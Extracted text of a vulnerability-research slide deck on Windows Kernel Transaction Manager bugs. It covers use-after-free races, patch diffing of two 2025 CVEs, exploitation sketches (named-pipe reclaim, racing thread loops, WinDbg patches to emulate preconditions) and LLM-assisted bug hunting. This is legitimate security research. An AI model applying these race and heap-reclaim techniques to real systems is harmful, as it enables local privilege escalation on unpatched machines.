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Bug 1 - TmRecoverResourceManager



Bug 1 - TmRecoverResourceManager



Be Curious



Be Curious



Be Curious











Do Not Find Bugs, Bugs Find You





Just Play Around



Ten Ideas



Ten Failed Ideas
1. Could there be a Double Free if I raced NtPropagationFailedExt with TmpDispatchPropagateRequest?

2. Could there be a Use after Free if I raced NtPropagationFailedExt in 2 threads?

3. Could I overflow the Propagation Request Refcount? (partially)

4. What happens when I mix COM+ Transactions with KTM APIs?

5. What happens when I race NtPropagationCompleteExt with TmpDispatchPropagateRequest?

6. What happens when I race TmpPromotionRequestTail with itself?

7. Is there uninitialized data in TmpProbeAndCaptureBuffer?

8. Could I get a Use After Free when racing NtPropagationFailedExt in 2 threads?

9. Could I get a Use After Free when racing NtPropagationFailedExt with NtPropagationCompleteExt, NtPropagationCompleteExt 
and NtPropagationCompleteExt?

10.Could the Transaction->PromotePropagation become a stale pointer in certain situations?









Failure Is Inevitable



But That’s Okay



Exercise Regularly





Protocol Creation

Resource 
Manager Protocol

NtRegisterProtocolAddressInformationExt()

Cookie = 
0xb00b0005



Protocol Creation

Resource 
Manager

ProtocolListHead

Cookie = 
0xb00b0005

Protocol



Protocol

Protocol ResourceManager

ProtocolGUID



Promoting Protocol

Protocol

ResourceManager

ProtocolGUID = { 0xac06cc84 , 0x1465, 0x428b, 
    { 0xa3, 0x98, 0x0a, 0xae, 0xef, 0xb4, 0x59, 0x9b} };



PropagateRequest Creation

Transaction Propagate 
Request

TmpAllocatePropagateRequest()

Cookie = 
0xb00b0006



PropagateRequest

Propagate
Request

ResourceManager = 
NULL



Dispatch PropagateRequest

Propagate
Request

TmpDispatchPropagateRequest()



Bug 2: Dispatch PropagateRequest
void TmpDispatchPropagateRequest(_KPROPAGATEREQUEST *PropagateRequest)
{
   // 1. Find Promoting Protocol
   KeWaitForSingleObject(&TmpAllProtocolsListMutex, Executive, 0, 0, 0LL);
   KPROTOCOL* PromotingProtocol = find_promoting_protocol();
   KeReleaseMutex(&TmpAllProtocolsListMutex, 0);
   ...



Bug 2: Dispatch PropagateRequest
void TmpDispatchPropagateRequest(_KPROPAGATEREQUEST *PropagateRequest)
{
   // 1. Find Promoting Protocol
   KeWaitForSingleObject(&TmpAllProtocolsListMutex, Executive, 0, 0, 0LL);
   KPROTOCOL* PromotingProtocol = find_promoting_protocol();
   KeReleaseMutex(&TmpAllProtocolsListMutex, 0);
   

   ...
   
   
   // 2. Set Propagate Request ResourceManager to Promoting Protocol's ResourceManager
   PropagateRequest->ResourceManager = PromotingProtocol->ResourceManager;
   ObfReferenceObject(PromotingProtocol->ResourceManager);
   ...



Bug 2: Dispatch PropagateRequest - Vulnerability
void TmpDispatchPropagateRequest(_KPROPAGATEREQUEST *PropagateRequest)
{
   // 1. Find Promoting Protocol
   KeWaitForSingleObject(&TmpAllProtocolsListMutex, Executive, 0, 0, 0LL);
   KPROTOCOL* PromotingProtocol = find_promoting_protocol();
   KeReleaseMutex(&TmpAllProtocolsListMutex, 0);
   /*
    *
    * ... We can free the Promoting Protocol in this window!
    *
    */
   // 2. Set Propagate Request ResourceManager to Promoting Protocol's ResourceManager
   PropagateRequest->ResourceManager = PromotingProtocol->ResourceManager;
   ObfReferenceObject(PromotingProtocol->ResourceManager);
   ...



Protocol Deletion

CloseProcedure of ResourceManager object

void TmpCloseResourceManager(_KRESOURCEMANAGER *ResourceManager)
{
   ...
   // Lock global mutex and free Protocol
   KeWaitForSingleObject(&TmpAllProtocolsListMutex, Executive, 0, 0, 0LL);
   TmpDeleteProtocol(get_entry_from_list(ResourceManager->ProtocolListHead));
   KeReleaseMutex(&TmpAllProtocolsListMutex, 0);
   ...

Called when calling CloseHandle(hRM)

Reclaim freed Protocol with Named Pipe ⇒ poison ResourceManager field



void TmpDispatchPropagateRequest(_KPROPAGATEREQUEST *PropagateRequest)
{
   // 1. Find Promoting Protocol
   KeWaitForSingleObject(&TmpAllProtocolsListMutex, Executive, 0, 0, 0LL);
   KPROTOCOL* PromotingProtocol = find_promoting_protocol();
   KeReleaseMutex(&TmpAllProtocolsListMutex, 0);
   
   // ... Free the Promoting Protocol in this window and reclaim with Named Pipe data

   // 2. We control PromotingProtocol->ResourceManager 
   PropagateRequest->ResourceManager = PromotingProtocol->ResourceManager;
   ObfReferenceObject(PromotingProtocol->ResourceManager);
   ...
   // 3. Use Poisoned ResourceManager
   KeWaitForSingleObject(PromotingProtocol->ResourceManager);
   add_to_linked_list(&PromotingProtocol->ResourceManager->PendingPropReqListHead, PropagateRequest);
   KeReleaseMutex(PromotingProtocol->ResourceManager);   
   ...
   TmpSetNotificationResourceManager(PropagateRequest->ResourceManager)
   ...

Bug 2: Dispatch PropagateRequest - Vulnerability



Constraints

1. Exploit needs to be ran on a Clustered Disk.

2. Only the ‘KtmRm’ Service can register a Promoting Protocol

Emulate Clustered Disk:

eb tm!TmpIsClusteredTransactionManager+0xe7 b0 01 90

Emulate KtmRm Service:

eb tm!NtRegisterProtocolAddressInformationExt+0x1ce b3 01



Demo



https://docs.google.com/file/d/1t_sWHR9QCHIhSHNYTpU4NQ28uDUYM68P/preview




Bug 3: OffensiveCon25 - Cedric Halbronn and Jael Koh







CVE-2025-53140

CVE ????-????

CVE-2025-50166CVE ????-????
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Bug 4: 





__int64 __fastcall TmpInitializeEnlistment(...)
{...
    ResourceManagersTM = ResourceManager->Tm;
    if ( ResourceManagersTM )
    {
        while ( 1 )
        {
            ...
          if ( ResourceManagersTM )
          {

  ObfReferenceObject(ResourceManagersTM);
            if ( (unsigned int)enable_fix_CVE_2025_53140_() )
              ObfReferenceObject(ResourceManagersTM);
            TmpAcquireTxTableTransactionManager((__int64)ResourceManagersTM);
        }
    ...
    ObfDereferenceObject(ResourceManagersTM);
    if ( ResourceManagersTM )
    {
    TmpReleaseTxTableTransactionManager((__int64)ResourceManagersTM);
    if ( (unsigned int)enable_fix_CVE_2025_53140_() )
      ObfDereferenceObject(ResourceManagersTM);
    }
...}
return res;
   



Vulnerability probably involves freeing 

the Transaction Manager while main 

thread is in TmpInitializeEnlistment.



To free a Transaction Manager, we have to first free 

the Resource Manager belonging to the Transaction 

Manager.

But….that would be a vulnerability in and of itself!

And the patch would not solve this issue, so it can’t 

be possible!



__int64 __fastcall TmpInitializeEnlistment(...)
{
    ...
  if ( ResourceManagersTM )
  {
  TmpReleaseTxTableTransactionManager((__int64)ResourceManagersTM);
  if ( (unsigned int)enable_fix_CVE_2025_53140_() )
    ObfDereferenceObject(ResourceManagersTM);
  }
  if ( res >= 0 && (CreateOptions & 1) != 0 )
  {

...
// May access Enlistment->ResourceManager and TransactionManager!

    if (...TmpForwardCommitTransaction(&Enlistment->...) < 0 )
    {

// May access Enlistment->Transaction->TransactionManager!
      TmRollbackTransactionExt(Enlistment->Transaction, 0);
    }
  }
  return res;
   



Other Possibilities?

1. UAF of Child Object of Transaction 
Manager?

But why would the patch fix it?

2.    CRM Enlistment?

Don’t see how you could UAF anything 
in such a restricted code path.

3. TmpRecover shenanigans?

Even still, what are you freeing? 





CVE-2025-53140

CVE ????-????

CVE-2025-50166CVE ????-????



Bug 5: Resource Manager RefCount Mismatch



NTSTATUS __stdcall NtCreateResourceManagerExt(...,ACCESS_MASK DesiredAccess,...)
{
    ...
      res = TmInitializeResourceManager(&ResourceManager,...);
      if ( res >= 0 )
      {
        if ( (unsigned int)patch_ResourceManager_Refcount_Mismatch() )
        {
          ObfReferenceObject(ResourceManager);
          bNeedToDerefRM = 1;
        }
        res = ObInsertObject(ResourceManager, 0LL, DesiredAccess, 0, 0LL, &Handle);
        if ( res < 0 )
        {
          if ( (unsigned int)patch_ResourceManager_Refcount_Mismatch() )
            TmpCloseResourceManager(0LL,ResourceManager,1LL);
        }

   ...
  if ( (unsigned int)patch_ResourceManager_Refcount_Mismatch() && bNeedToDerefRM )
  {
    ObfDereferenceObject(ResourceManager);
  }
  ...
  return res;
}





ObInsertObject Failure Frees Resource Manager

3: kd> k

 # Child-SP          RetAddr              Call Site

00 fffff60f`585c7600 fffff801`08d8d167    nt!ObfDereferenceObject+0x8e

01 fffff60f`585c7640 fffff801`08c94692    nt!ObInsertObjectEx+0x347

02 fffff60f`585c78f0 fffff801`0519c32c    nt!ObInsertObject+0x22

03 fffff60f`585c7940 fffff801`08a2d935    tm!NtCreateResourceManagerExt+0x17c

04 fffff60f`585c7a30 00007ffe`63710bb4    nt!KiSystemServiceCopyEnd+0x25

05 00000003`c49cf878 00007ff7`ed2b134c    ntdll!NtCreateResourceManager+0x14





NTSTATUS __stdcall NtCreateResourceManagerExt(...,ACCESS_MASK DesiredAccess,...)
{
    ...
      res = TmInitializeResourceManager(&ResourceManager,...);
      if ( res >= 0 )
      {

// 1. Call NtOpenResourceManager here

        res = ObInsertObject(ResourceManager, 0LL, DesiredAccess, 0, 0LL, &Handle);
        if ( res < 0 )
        {

// 2. ObInsertObject should fail and free ResourceManager

        }
   ...

  return res;
}



Thread 1
while (1){

// DesiredAccess = -1 to fail in ObInsertObject
NtCreateResourceManager(&hRM1,-1,hTM1,&DefaultRMGuid,NULL,0,NULL); 

}



Thread 1 + 2
while (1){

// DesiredAccess = -1 to fail in ObInsertObject
NtCreateResourceManager(&hRM1,-1,hTM1,&DefaultRMGuid,NULL,0,NULL); 

}

while(1){
    hRM1 = OpenResourceManager(RESOURCEMANAGER_QUERY_INFORMATION, 

       hTM1, 
                               &DefaultRMGuid);
    CloseHandle(hRM1);
}



https://docs.google.com/file/d/14_8OMJjfZFrl-Q_VWszKJKC-P_1RI51g/preview


CVE-2025-53140
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CVE-2025-50166CVE ????-????



Bug 6: Enlistment_Security_Init



NTSTATUS __stdcall TmCreateEnlistmentExt(...)
{
    ...
    inserted = TmpInitializeEnlistment(Enlistment,...);
    if ( inserted >= 0 )
    {
      ObfReferenceObject(Enlistment);
      inserted = ObInsertObject(Enlistment, …);
      if ( inserted >= 0 )
      {
        if ( TmpEnableEnlistmentSecurityInitFix )
          Enlistment->Flags |= 0x100u;
        *EnlistmentHandle = Handle;
      }
    }
    ObfDereferenceObject(v14);
  }
  return inserted;
}



__int64 __fastcall TmpLogTransaction(_KTRANSACTION *Txn, int a2, int a3)
{
   ...
   if ( TmpEnableEnlistmentSecurityInitFix && (Flags & 0x100)== 0 )
   {
       res = STATUS_ENLISTMENT_NOT_INITIALIZED;            
       goto fail_func;
   }
   ...

   res = ObGetObjectSecurity(Enlistment, ...);
   
   idk = *(_QWORD *)v84 ? RtlLengthSecurityDescriptor(...) ...;                    
   
   res = ObGetObjectSecurity(...);

   ...



● Bug probably involves calling 
TmpLogTransaction on a Enlistment 
that does not have its security 
initialized.



1: kd> !pool ffffd60f926569a0

Pool page ffffd60f926569a0 region is Paged pool

 ffffd60f92656700 size:  120 previous size:    0  (Allocated)  ObSc

 ffffd60f92656820 size:  120 previous size:    0  (Allocated)  Mpus

*ffffd60f92656940 size:  120 previous size:    0  (Allocated) *ObSc

Pooltag ObSc : Object security descriptor cache block, Binary : nt!ob

 ffffd60f92656a60 size:  120 previous size:    0  (Free)       REGL

 ffffd60f92656b80 size:  120 previous size:    0  (Free)       MntA

Security Descriptor is created during ObInsertObject



Why isn’t it possible?

Ways of reaching I’ve explored 
TmpLogTransaction require an 
Enlistment Handle.

OpenEnlistment trick?

ObOpenObjectByPointer returns 
STATUS_INVALID_PARAMETER



CVE-2025-53140

CVE ????-????

CVE-2025-50166CVE ????-????



Bug 7: CVE-2025-50166



__int64 __fastcall CTxStatusInfo::GetNextVarItemWithinBounds(
        unsigned int **a1,
        void **a2,
        unsigned int *a3,
        unsigned int *a4)
{
  v4 = 0;
  if ( a1 && a2  && a3  && a4 && *a4 >= 4
    && ((v8 = *a1, *a3 = *v8, *a1 = v8 + 1, *a2 = v8 + 1, !patch_Int_overflow()) 
    || *a3 <= 0xFFFFFFFC)
    && ((v9 = (*a3 + 3) & 0xFFFFFFFC, !patch_Int_overflow()) 
    || ~v9 >= 4)
    && (v10 = *a4, *a4 >= v9 + 4) )
  {
    *a1 = (unsigned int *)((char *)*a1 + v9);
    *a4 = v10 - (v9 + 4);
  }
  else
  {
    return 0x80070057;
  }
  return v4;
}







fn GetNextVarItemWithinBounds(cursor_ptr, payload_ptr,length_ptr, bytes_left_ptr):

    cursor = *cursor_ptr
    Length = *cursor              # read 4-byte length
    *length_ptr = Length
    *cursor_ptr = cursor + 1      # advance past length
    *payload_ptr = cursor + 1     # payload starts right after length

    if patch_Int_overflow() is True:
        if Length > 0xFFFFFFFC:
            return E_INVALIDARG

    alignedLen = (Length + 3) & 0xFFFFFFFC  # round up to multiple of 4

    if patch_Int_overflow() is True:
        if alignedLen > 0xFFFFFFFB:
            return E_INVALIDARG

    *cursor_ptr = (uint32_t*)((uint8_t*)*cursor_ptr + alignedLen)
    *bytes_left_ptr = remaining - (alignedLen + 4)

    return result  # success (0)



fn GetNextVarItemWithinBounds(cursor_ptr, payload_ptr,length_ptr, bytes_left_ptr):

    cursor = *cursor_ptr
    0x1    = *cursor          # read 4-byte length
    *length_ptr = 0x1
    *cursor_ptr = cursor + 1      # advance past length
    *payload_ptr = cursor + 1     # payload starts right after length

 
 
              

    alignedLen = (1 + 3) & 0xFFFFFFFC  # round up to 4!

  
            
    # cursor_ptr points to next Length!
    *cursor_ptr = (uint32_t*)((uint8_t*)*cursor_ptr + 4) 
    *bytes_left_ptr = remaining - (4 + 4)

    return result  # success (0)



fn GetNextVarItemWithinBounds(cursor_ptr, payload_ptr,length_ptr, bytes_left_ptr):

    cursor = *cursor_ptr
    0x1    = *cursor          # read 4-byte length
    *length_ptr = 0x1
    *cursor_ptr = cursor + 1      # advance past length
    *payload_ptr = cursor + 1     # payload starts right after length

 
 
              

    alignedLen = (4) & 0xFFFFFFFC  # round up to 4!
 
    # cursor_ptr points to within itself!
    # [ Length  ][ 4-byte DATA ][ Length ][ 4-byte DATA ]
    #                           ↑
    #                           cursor_ptr
    *cursor_ptr = (uint32_t*)((uint8_t*)*cursor_ptr + 4) 
    *bytes_left_ptr = remaining - (4 + 4)

    return result  # success (0)



fn GetNextVarItemWithinBounds(cursor_ptr, payload_ptr,length_ptr, bytes_left_ptr):

    cursor = *cursor_ptr
    0xFFFFFFFF = *cursor          # read 4-byte length
    *length_ptr = 0xFFFFFFFF 
    *cursor_ptr = cursor + 1      # advance past length
    *payload_ptr = cursor + 1     # payload starts right after length

 
 
              

    alignedLen = (0xFFFFFFFF + 3) & 0xFFFFFFFC  # INTEGER OVERFLOW!

  
            
    # cursor_ptr points to within itself!
    *cursor_ptr = (uint32_t*)((uint8_t*)*cursor_ptr + 2) 
    *bytes_left_ptr = remaining - (2 + 4)

    return result  # success (0)



fn GetNextVarItemWithinBounds(cursor_ptr, payload_ptr,length_ptr, bytes_left_ptr):

    cursor = *cursor_ptr
    0xFFFFFFFF = *cursor          # read 4-byte length
    *length_ptr = 0xFFFFFFFF 
    *cursor_ptr = cursor + 1      # advance past length
    *payload_ptr = cursor + 1     # payload starts right after length

 
 
              

    alignedLen = (2) & 0xFFFFFFFC  # round up skipped!
 
    # cursor_ptr points to within itself!
    # [ Length  ][ 4-byte DATA ][ Length ][ 4-byte DATA ]
    #                    ↑
    #                    cursor_ptr
    *cursor_ptr = (uint32_t*)((uint8_t*)*cursor_ptr + 2) 
    *bytes_left_ptr = remaining - (2 + 4)

    return result  # success (0)



Where POC?

Four Seasons Seoul, Korea



Where POC? (seriously) 

● Don’t know how to reach this 
function



Where POC?

● Don’t know how to reach this 
function

● It’s not immediately callable 
from the DTC Interface list.

https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms680654(v=vs.85)


Where POC?

● Don’t know how to reach this 
function

● It’s not immediately callable 
from the DTC Interface list.

● Bug might leak pointers within 
MSDTC.exe, which could be 
used with another bug to get 
LPE.

https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms680654(v=vs.85)


More Variants?

- ITW exploit → Bug 1
- Overlooked cookies → Bugs 2, 3
- Patch diffing → Bugs 4, 5, 6, 7
- AI/LLM → ?





Environment

●



          codex                                       Ghidra                                         WinDbg

   Target VM
tm.sys (KTM)
vulnerable to 3 UAFs (bugs 1,2,3)

⇔ ⇔

⇔



Feed the Model

<work_folder>

│

├───TmRecoverResourceManager  // bug 1

│       01_introduction_to_ktm.md

│       02_patch_analysis.md

│       03_racing_and_debugging.md

│       04_building_primitives.md

│       05_previousmode_analysis.md

│

├───TmpDispatchPropagateRequest // bug 2

│       Windows Kernel KTM TmpDispatchPropagateRequest, leading to UAF.md

│

└───TmpMigrateEnlistments // bug 3

        Windows Kernel KTM TmpMigrateEnlistments, leading to UAF.md

















1. TmpInitializeEnlistment() (Bug 4?)





          codex                                       Ghidra                                         WinDbg

   Target VM

⇔ ⇔

⇔

tm.sys (KTM)
upgraded to latest version



2. TmpLogTransaction()?



Bug1: TmRecoverResourceManager()

TmpLogTransaction() (NEW)





Testing POC

- Does not hit the vulnerable function: TmpLogTransaction()





Stopped “Vibe Hunting”

Went into “Manual Mode”

● Fixed POC to call CommitTransactionAsync()
⇒ First Thread hits vulnerable function

● Several hours debugging
⇒ Second Thread can’t acquire Transaction mutex



Bug 1: TmRecoverResourceManager()



Bug 1: TmRecoverResourceManager()



Bug 1: TmRecoverResourceManager()



Bug 1: TmRecoverResourceManager()



TmpLogTransaction() (NEW)



TmpLogTransaction() (NEW)









          codex                                       Ghidra                                         WinDbg

   Target VM
ntfs.sys (TxF)

⇔ ⇔

⇔



3. TxF: TxfFsctlGetTransactedVersion()?



















Cost?



More than ever before,

You CAN find 
vulnerabilities.



Questions?

Ask us a question and get an EXCLUSIVE autographed MTG card after the talk!



References - What is KTM? 

● Slides 8-9: By Developers. Transactional Vista: Kernel Transaction Manager 
and friends (TxF, TxR) → https://www.youtube.com/watch?v=JQS4Z8NJaWo 

● Slides 10 & 11: Diagrams userland/kernel KTM. OffensiveCon 2020 → 
https://web.archive.org/web/20200709052518/https://research.nccgroup.com/
wp-content/uploads/2020/02/cve_2018_8611_windows_ktm_exploitation_offe
nsivecon2020.pdf 

● Slides 16-17: KTM cookies table → 
https://www.nccgroup.com/research-blog/cve-2018-8611-exploiting-windows-
ktm-part-15-introduction/ 

https://www.youtube.com/watch?v=JQS4Z8NJaWo
https://web.archive.org/web/20200709052518/https://research.nccgroup.com/wp-content/uploads/2020/02/cve_2018_8611_windows_ktm_exploitation_offensivecon2020.pdf
https://web.archive.org/web/20200709052518/https://research.nccgroup.com/wp-content/uploads/2020/02/cve_2018_8611_windows_ktm_exploitation_offensivecon2020.pdf
https://web.archive.org/web/20200709052518/https://research.nccgroup.com/wp-content/uploads/2020/02/cve_2018_8611_windows_ktm_exploitation_offensivecon2020.pdf
https://www.nccgroup.com/research-blog/cve-2018-8611-exploiting-windows-ktm-part-15-introduction/
https://www.nccgroup.com/research-blog/cve-2018-8611-exploiting-windows-ktm-part-15-introduction/


References - Bug 1

● Increment primitive in KeReleaseMutex (DWORD): 
https://www.nccgroup.com/uk/research-blog/cve-2018-8611-exploiting-windows-ktm-part-45
-from-race-win-to-kernel-read-and-write-primitive/#initial-kernel-address-revelation 

● Write 0 primitive in KeReleaseMutex (size_t): 
https://www.nccgroup.com/uk/research-blog/cve-2018-8611-exploiting-windows-ktm-part-55
-vulnerability-detection-and-a-better-readwrite-primitive/#the-0-value-overwrite-primitive 

● Windows Kernel Exploitation Training
○ https://ezseclab.com/
○ https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Exp4011_Windows_Kernel_UAF_KTM+2023_v1/a

bout 
○ https://gitlab.com/opensecuritytraining/exp4011_windows_kernel_exploitation/

https://www.nccgroup.com/uk/research-blog/cve-2018-8611-exploiting-windows-ktm-part-45-from-race-win-to-kernel-read-and-write-primitive/#initial-kernel-address-revelation
https://www.nccgroup.com/uk/research-blog/cve-2018-8611-exploiting-windows-ktm-part-45-from-race-win-to-kernel-read-and-write-primitive/#initial-kernel-address-revelation
https://www.nccgroup.com/uk/research-blog/cve-2018-8611-exploiting-windows-ktm-part-55-vulnerability-detection-and-a-better-readwrite-primitive/#the-0-value-overwrite-primitive
https://www.nccgroup.com/uk/research-blog/cve-2018-8611-exploiting-windows-ktm-part-55-vulnerability-detection-and-a-better-readwrite-primitive/#the-0-value-overwrite-primitive
https://ezseclab.com/
https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Exp4011_Windows_Kernel_UAF_KTM+2023_v1/about
https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Exp4011_Windows_Kernel_UAF_KTM+2023_v1/about
https://gitlab.com/opensecuritytraining/exp4011_windows_kernel_exploitation/


References - Bugs 2 and 3

● Slide 22: Do Not Find Bugs; Bugs Find You by Satoshi Tanda
https://github.com/tandasat/tandasat.github.io/blob/main/presentations/BSidesVancouver2024/preso
.pdf

● Slide 30: “Whenever you’re reversing a component, you’re constantly being told your understanding 
of the code base is wrong”. I adapted this quote from Mark Dowd’s keynote in OffensiveCon22.
https://youtu.be/7Ysy6iA2sqA?si=PQtpPC-cWoATeShn&t=271

● Slide 44: I learned about CloseProcedure from Yarden Shafir’s great article: 
https://windows-internals.com/thread-and-process-state-change/

● OffensiveCon slides: 
https://docs.google.com/presentation/d/1M_ziQt6rZA01ghsv0qo7lhqyOLIZYNnV-qjHWun6A1g/ 

● Slide 50: OffensiveCon Talk (Bug 3 onwards): 
https://youtu.be/goEb7eKj660?si=NDI3GpMm3yTvRFZQ&t=1898 

● POCS and reports: https://github.com/jayesther/KTM_POCS 

https://github.com/tandasat/tandasat.github.io/blob/main/presentations/BSidesVancouver2024/preso.pdf
https://github.com/tandasat/tandasat.github.io/blob/main/presentations/BSidesVancouver2024/preso.pdf
https://youtu.be/7Ysy6iA2sqA?si=PQtpPC-cWoATeShn&t=271
https://windows-internals.com/thread-and-process-state-change/
https://docs.google.com/presentation/d/1M_ziQt6rZA01ghsv0qo7lhqyOLIZYNnV-qjHWun6A1g/
https://youtu.be/goEb7eKj660?si=NDI3GpMm3yTvRFZQ&t=1898
https://github.com/jayesther/KTM_POCS


Bug 2 Addendum:

For the TmpDispatchPropagateRequest vulnerability: After 
TmpIsClusteredTransactionManager(), the “KtmRm for Distributed Transaction 
Manager” service will be started. This service will attempt to register a promoting 
protocol. 
If the service successfully registers a promoting protocol, our exploit process will no 
longer be able to register a promoting protocol.
Since the exploit involves use-after-freeing this promoting protocol, an attacker would 
likely need to win the race on the first try BEFORE the service registers a promoting 
protocol or gain code execution within the service to close this promoting protocol 
handle and trigger the exploit.
In my demonstration, I disabled this service so I could retry the exploit repeatedly 
without fail.



References - Patch Diffing

Slide 56/57: 
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53140 
Slide 83:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-50166 

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53140
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-50166


References - Vulnerability Research with LLM

● Slide 100: Feed the Model. Bugs write-ups → 
https://www.nccgroup.com/research-blog/cve-2018-8611-exploiting-windows-
ktm-part-15-introduction/ (series) and 
https://github.com/jayesther/KTM_POCS

● Slide 109: Environment
○ https://github.com/openai/codex
○ https://github.com/LaurieWired/GhidraMCP
○ https://github.com/NationalSecurityAgency/ghidra/releases  
○ https://github.com/bootleg/ret-sync 

https://www.nccgroup.com/research-blog/cve-2018-8611-exploiting-windows-ktm-part-15-introduction/
https://www.nccgroup.com/research-blog/cve-2018-8611-exploiting-windows-ktm-part-15-introduction/
https://github.com/jayesther/KTM_POCS
https://github.com/openai/codex
https://github.com/LaurieWired/GhidraMCP
https://github.com/NationalSecurityAgency/ghidra/releases
https://github.com/bootleg/ret-sync


References - Extra, Where is KTM enabled? 

● Enabled by default in Chrome since 2021 Feb:
https://chromium.googlesource.com/chromium/src/+blame/60c0edc4756434520abc1d0c0be4
3b2b7d21ded6/sandbox/policy/features.cc

● Commit a831401 Chromium
https://github.com/chromium/chromium/commit/a831401fe9f7b49e7e5a9ea7070739ea1350e
9c1

● Code from startup_information_helper.cc
https://github.com/chromium/chromium/blob/96fb51e9cedf307fddaf49e2ee41f35d003afd3a/s
andbox/win/src/startup_information_helper.cc#L144

● Code snippets and blocked APIs from
https://big5-sec.github.io/posts/component-filter-mitigation/

https://chromium.googlesource.com/chromium/src/+blame/60c0edc4756434520abc1d0c0be43b2b7d21ded6/sandbox/policy/features.cc
https://chromium.googlesource.com/chromium/src/+blame/60c0edc4756434520abc1d0c0be43b2b7d21ded6/sandbox/policy/features.cc
https://github.com/chromium/chromium/commit/a831401fe9f7b49e7e5a9ea7070739ea1350e9c1
https://github.com/chromium/chromium/commit/a831401fe9f7b49e7e5a9ea7070739ea1350e9c1
https://github.com/chromium/chromium/blob/96fb51e9cedf307fddaf49e2ee41f35d003afd3a/sandbox/win/src/startup_information_helper.cc#L144
https://github.com/chromium/chromium/blob/96fb51e9cedf307fddaf49e2ee41f35d003afd3a/sandbox/win/src/startup_information_helper.cc#L144
https://big5-sec.github.io/posts/component-filter-mitigation/

